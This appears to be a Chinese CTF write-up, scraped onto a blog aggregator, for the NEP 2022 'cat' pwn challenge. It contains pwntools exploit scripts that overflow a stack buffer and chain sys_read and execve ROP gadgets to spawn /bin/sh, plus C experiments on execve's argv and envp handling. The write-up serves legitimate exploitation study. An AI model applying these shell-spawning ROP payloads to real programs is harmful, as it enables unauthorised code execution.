当前位置:网站首页>nep 2022 cat
nep 2022 cat
2022-07-28 23:58:00 【SquirreI7】
摸鱼的时候看了看
先布置execve的参数
再写execve的gadget
再利用add esp 0x20这个gadget代替原本常用的pop 3 reg
只要注意到函数开头的抬栈操作一切都好说了…
ret = 0x08048127
sys_write = 0x08048110
sys_read = 0x080480F0
aGoodLuck = 0x0804B000
addr = 0x0804B000 + 0x500 # binsh's addr
r_w = 0x08048130
add_esp_20__ret = 0x08048190
start = 0x080481A0
execve = 0x08048115
def exp(i):
pl = 0x10 * b'a' + p32(sys_read) + p32(start)
pl+= p32(0) + p32(addr) + p32(len("/bin/sh"))
pl+= p32(addr) + p32(0) + p32(0) # addr store "binsh"'s' addr
gdb.attach(p)
se(pl)
ri()
se(b"/bin/sh")
pl = 0x10 * b'a' + p32(start)
pl+= p32(0)*5 + p32(execve)
# gdb.attach(p)
ri()
se(pl)
pl = 0x10*b'a' + p32(sys_write) + p32(add_esp_20__ret)
pl+= p32(1) + p32(aGoodLuck) + p32(11)
ri()
se(pl)
if __name__=="__main__":
exp(1)
ir()

官解
from pwn import*
p=process('./main')
sys_read = 0x080480f0
sys_execve = 0x08048115
binsh = 0x0804B000+0x200 # anywhere in data section
payload = b"b"*0x10 + p32(sys_read) + p32(sys_execve) + p32(0) + p32(binsh)
payload += p32(binsh + 7) + p32(0) * 3 + b"\x00\x00"# 50 byte overflow
payload += b"/bin/sh\x00" + b"\x00" * 3 # 11 byte
# gdb.attach(p)
p.send(payload)
p.interactive()
看了官方的wp才知道可以这么玩
一次性发出所有数据 反正也是在缓冲区 没必要发两次
最重要的是execve
平常都是要构造execve('/bin/sh',NULL,NULL)
但是这里是execve('/bin/sh',ptr,NULL); *ptr = NULL
实践证明 execve执行binsh并不一定要两个NULL
#include <stdio.h>
#include <stdlib.h>
int
main(int argc, char ** argv){
printf("Hello \n");
void *ptr = NULL;
ptr = "squ";
execve("/bin/sh", (char * const*)&ptr, 0);
}
但是如果argv中有两个非NULL参数的时候 就会出现问题
#include <stdio.h>
#include <stdlib.h>
int
main(int argc, char ** argv){
printf("Hello \n");
char * const* ptr = NULL;
char * p[] = {
"squ",
// "irrel", 去掉注释没法拿shell 而注释掉就能拿shell
NULL
};
ptr = p;
execve("/bin/sh", ptr, ptr);
}
看一个例子
#include <stdio.h>
#include <stdlib.h>
int
main(){
;
printf("Hello \n");
char * const argv[] = {
"Yoiko",
"-al",
"/etc/passwd",
NULL,
};
char * envp[] = {
"squ",
"irrel",
NULL
};
execve("/bin/ls", argv, NULL);
}
正常来讲argv的第一个参数应该是所执行的任务名字(约定俗成
这里特意换成毫无关系的命令 因为用不到
char * const argv[] = {
"Yoiko",
"-al",
"/etc/passwd",
NULL,
};
所以execve("/bin/sh",argv,envp) 在极限情况下 argv指向的数组可以有一个成员 这个成员不被使用 毫无关系
但是不能超过两个 因为第二个就要被执行了 但是sh是不带参数的
但是这题很难找到一个二级指针
所以只需要argv和envp的指针都指向NULL即可 而并不需要都置NULL 这样解出这题就方便很多了
(之前有个大佬说execve的argv和envp都需要两个NULL让我深信不疑 果然实践出真知)
from pwn import*
p=process('./main')
sys_read = 0x080480f0
sys_execve = 0x08048115
binsh = 0x0804B000+0x200 # anywhere in data section
gGoodLuck = 0x0804B000
payload = b"b"*0x10 + p32(sys_read) + p32(sys_execve) + p32(0) + p32(binsh)
payload += p32(binsh + 7) + p32(binsh + 7) + p32(0) * 2 + b"\x00\x00"# 50 byte overflow
payload += b"/bin/sh\x00" + b"\x00" * 3 # 11 byte
# gdb.attach(p)
p.send(payload)
p.interactive()
边栏推荐
- 🧐 Table1 | finish your third line watch in one second
- Transfer: cognitive subculture
- Copy the table in word to wechat as a picture and send it
- day8
- Mathematical modeling and detailed explanation of basic knowledge (common knowledge points of Chemistry)
- 【Jenkins笔记】入门,自由空间;持续集成企业微信;allure报告,持续集成电子邮件通知;构建定时任务
- 如何给女友讲明白JS的bind模拟实现
- 双链表的定义 ~
- TextKit 自定义UILabel识别链接
- 【commons-lang3专题】004- NumberUtils 专题
猜你喜欢

图扑软件亮相 2022 福州数博会,携手共创数字新时代

Seven marketing strategies of NFT project

Recursion and divide and conquer

Wechat campus bathroom reservation applet graduation design finished product (8) graduation design thesis template

Cookies and sessions

Inftnews | yuanuniverse shopping experience will become a powerful tool to attract consumers

Wechat campus bathroom reservation for the finished product of applet graduation design (7) mid term inspection report

Plato launched the LAAS protocol elephant swap, which allows users to earn premium income

Implement Lmax disruptor queue from scratch (VI) analysis of the principle of disruptor solving pseudo sharing and consumers' elegant stopping

Talk about the cross end technical scheme
随机推荐
Copy the table in word to wechat as a picture and send it
B+ tree~
Machine learning | matlab implementation of RBF radial basis function neural network Newrbe parameter setting
dart数组,Map,类型判断,条件判断运算符,类型转换
Mathematical modeling and detailed explanation of basic knowledge (common knowledge points of Chemistry)
新一代超安全蜂窝电池,思皓爱跑上市,13.99万起售
[Commons lang3 topic] 004- numberutils topic
What opportunities does the London gold real-time market bring?
Deep learning | matlab implementation of TCN time convolution neural network spatialdropoutlayer parameter description
【Jenkins笔记】入门,自由空间;持续集成企业微信;allure报告,持续集成电子邮件通知;构建定时任务
散列表 ~
如何处理项目中的时间、范围和成本限制?
递归与分治
[Yugong series] go teaching course in July 2022, an array of 020 go containers
UE4 common printing information methods for debugging
Visual full link log tracking
时序预测 | MATLAB实现TCN时间卷积神经网络的时间序列预测
[Jenkins' notes] introduction, free space; Continuous integration of enterprise wechat; Allure reports, continuous integration of email notifications; Build scheduled tasks
iNFTnews | 元宇宙购物体验将成为吸引消费者的一大利器
教你一文解决 js 数字精度丢失问题